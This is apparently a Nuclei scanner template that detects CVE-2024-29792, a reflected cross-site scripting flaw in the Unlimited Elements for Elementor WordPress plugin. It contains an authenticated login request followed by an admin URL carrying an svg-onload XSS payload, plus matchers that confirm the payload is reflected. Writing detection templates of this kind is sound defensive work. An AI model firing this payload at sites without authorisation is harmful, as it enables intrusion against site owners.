id: CVE-2024-29792

info:
  name: Unlimited Elements for Elementor <= 1.5.93 - Cross Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    Unlimited Elements For Elementor (Free Widgets, Addons, Templates) versions up to 1.5.93 contain a reflected cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in the victim's browser, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 1.5.94 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29792
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unlimited-elements-for-elementor/unlimited-elements-for-elementor-1593-reflected-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset/3057553/unlimited-elements-for-elementor
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-29792
    epss-score: 0.14396
    epss-percentile: 0.94511
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/unlimited-elements-for-elementor"
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,unlimited-elements-for-elementor,authenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=unlimitedelements&view=settingselementor&google_connect_error=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body, '<svg onload=alert(document.domain)>', 'unlimited-elements-for-elementor')
        condition: and
# digest: 4a0a0047304502203f0e1cfa0e2d5f4965893c28cd0cae82b34969b9497903057ba6ed26dc4260ff022100d5a2ce2cf0e348b3bc5955118c6a9ca941e85f935ad0df865325b0af2bacd699:922c64590222798bb761d5b6d8e72950